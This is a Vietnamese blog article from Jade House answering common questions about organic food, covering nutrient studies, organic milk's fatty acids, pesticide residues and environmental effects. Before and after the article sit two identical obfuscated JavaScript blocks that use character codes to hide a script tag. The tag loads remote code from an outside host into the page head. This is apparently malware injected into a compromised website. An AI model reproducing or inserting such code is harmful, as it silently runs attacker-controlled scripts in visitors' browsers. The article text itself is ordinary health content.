Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Những câu hỏi về thực phẩm hữu cơ

Những câu hỏi về thực phẩm hữu cơ

Tại sao người tiêu dùng mua thực phẩm hữu cơ? Có liên quan đến chất lượng dinh dưỡng và khoáng chất hay tồn dư về thuốc trừ sâu hay vì một lí do nào khác? Hãy lắng nghe những chia sẻ bổ ích trong bài viết dưới đây của Jade House (www.jadehousevn.com) nhé!

Một nghiên cứu mới của các nhà nghiên cứu đã thêm nhiên liệu vào một cuộc tranh luận về sự khác biệt giữa thực phẩm hữu cơ và được trồng thông thường. Báo cáo khoa học về một phân tích của 237 nghiên cứu về sản phẩm hữu cơ, thịt và thực phẩm từ sữa, kết luận rằng thực phẩm hữu cơ không có nhiều chất dinh dưỡng hơn so với các loại thực phẩm thông thường. Trong khi đó, những người ủng hộ thực phẩm hữu cơ nói rằng nghiên cứu này có cái nhìn hạn hẹp về sự lựa chọn thực phẩm hữu cơ và hầu hết mọi người chọn hữu cơ vì họ muốn hạn chế tối đa dư lượng thuốc trừ sâu, hormone và các hóa chất khác được sử dụng trong canh tác thông thường.

Những câu hỏi về thực phẩm hữu cơ - Jade House Việt Nam
Những câu hỏi về thực phẩm hữu cơ – Jade House Việt Nam

Dưới đây là câu trả lời cho một số câu hỏi thường gặp về thực phẩm hữu cơ.

Hỏi:

Tại sao các nhà khoa học tập trung vào việc liệu có sự khác biệt về dinh dưỡng giữa thực phẩm hữu cơ và thực phẩm được sản xuất thông thường?

Trả lời:

Hàng trăm nghiên cứu khoa học đã xem xét câu hỏi đó đối với các loại trái cây và rau quả khác nhau, dựa trên quan niệm rằng dư lượng thuốc trừ sâu và phương pháp trồng hữu cơ ít hơn và cung cấp nhiều chất dinh dưỡng trong đất hơn, và do đó có thể nâng cao hàm lượng dinh dưỡng của thực phẩm được trồng hữu cơ.

Và trong một số trường hợp, các nhà nghiên cứu đã chứng minh được sự khác biệt đáng kể. Một nghiên cứu năm 2010 của các nhà khoa học thuộc Đại học bang Washington cho thấy dâu tây hữu cơ có nhiều vitamin C và chất chống oxy hóa hơn dâu tây thông thường. Theo một nghiên cứu được công bố vào tháng 7 bởi các nhà khoa học tại Đại học Barcelona, ​​cà chua hữu cơ cũng có nhiều loại chất chống oxy hóa được gọi là polyphenol hơn là cà chua được trồng thương mại.

Tuy nhiên, đối với các cách chế biến khác nhau, đặc điểm về độ chín, có thể ảnh hưởng đến hàm lượng dinh dưỡng nhiều hơn. Một quả đào hoặc quả việt quất đạt đến độ chín cao nhất với việc sử dụng thuốc trừ sâu có thể chứa nhiều vitamin hơn đáng kể so với một loại trái cây được trồng hữu cơ ít chín.

Các nghiên cứu về chủ đều này được xem xét trong nhiều thập kỷ để xác định xem việc lựa chọn sản phẩm hữu cơ, thịt và sữa sẽ cung cấp các chất dinh dưỡng tốt hơn. Và câu trả lời là không.

Hỏi:

Tôi đã nghe nói sữa hữu cơ là một lựa chọn tốt hơn so với các sản phẩm sữa thương mại. Điều đó có đúng không?

Trả lời:

Sữa hữu cơ ngày càng được sử dụng phổ biến hơn do các lo ngại về hormone tăng trưởng của bò, được sử dụng để kích thích sản xuất sữa ở các trang trại bò sữa thông thường. Hormone được sản sinh ra một cách tự nhiên ở bò và việc sử dụng hormone không làm thay đổi chất lượng sữa.

Nhưng các nhà sản xuất sữa hữu cơ được yêu cầu cho phép bò của họ dành thời gian chăn thả nhất định và điều đó tạo ra hiệu quả rõ rệt đối với các axit béo trong sữa. So với sữa thông thường, sữa hữu cơ có hàm lượng axit béo omega-6 thấp hơn, được cho là không có lợi cho tim ở nồng độ cao và nồng độ axit béo omega-3 cao hơn tốt cho sức khỏe. Sữa hữu cơ có hàm lượng axit béo omega-3 cao hơn 79% so với sữa thông thường. sữa hữu cơ của nó cho thấy mức độ omega-3 cao hơn 79% so với sữa thông thường, cũng như mức độ omega-6 thấp hơn nhiều.

Hỏi:

Còn thuốc trừ sâu thì sao? Liệu rằng tồn dư thuốc trừ sâu trong thực phẩm gây hại như thế nào? Có lợi ích gì khi sử dụng thực phẩm không có hoặc rất ít tồn dư thuốc trừ sâu?

Trả lời:

Sản phẩm hữu cơ có dư lượng thuốc trừ sâu thấp hơn so với trái cây và rau quả thông thường. Điều đó nói rằng, hầu hết tất cả các sản phẩm, dù là hữu cơ hay thông thường, đều chứa ít dư lượng thuốc trừ sâu hơn mức tối đa cho phép của Cơ quan Bảo vệ Môi trường. Sau đó nó trở thành một câu hỏi liệu bạn có cảm thấy thoải mái với các tiêu chuẩn về tồn dư thuốc trừ sâu trong thực phẩm không. Lợi ích của thực phẩm hữu cơ về mặt tồn dư thuốc trừ sâu sẽ là lựa chọn tốt nhất cho phụ nữ mang thai, cho trẻ nhỏ và người già vấn đề sức khỏe mãn tính.

Hỏi:

Không có lợi ích cho việc ăn uống hữu cơ ngoài lợi ích cá nhân? Còn sức khỏe của công nhân nông trại và sức khỏe của trái đất thì sao?

Trả lời:

Câu trả lời cho câu hỏi này không rõ ràng như người ta mong muốn.

Đối với công nhân nông trại, tồn dư một số loại thuốc trừ sâu dường như gây ra một số bệnh ung thư.

Xét về tác động môi trường của canh tác hữu cơ so với canh tác thông thường phụ thuộc vào cách đánh giá của bạn. Một phân tích tổng hợp cho thấy canh tác hữu cơ có ít tác động môi trường hơn. Tuy nhiên, do năng suất thấp hơn từ cây trồng hữu cơ, hiệu quả đối với môi trường của sản phẩm hữu cơ thực sự lớn hơn trên mỗi sản phẩm được vận chuyển.

Ngoài ra, ngày càng có nhiều lo ngại về vai trò của kháng sinh nông nghiệp dẫn đến các chủng vi khuẩn kháng kháng sinh mới.

Lý do của bạn để mua thực phẩm hữu cơ hoặc thông thường là gì? Bạn có muốn biết nhiều hơn về nghiên cứu thực phẩm hữu cơ, canh tác hữu cơ hay ăn uống hữu cơ nói chung không? Hãy tiếp tục theo dõi những bài viết về chủ đề này trong chuyên mục “Sống xanh” của Jade House (www.jadehousevn.com) nhé!

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();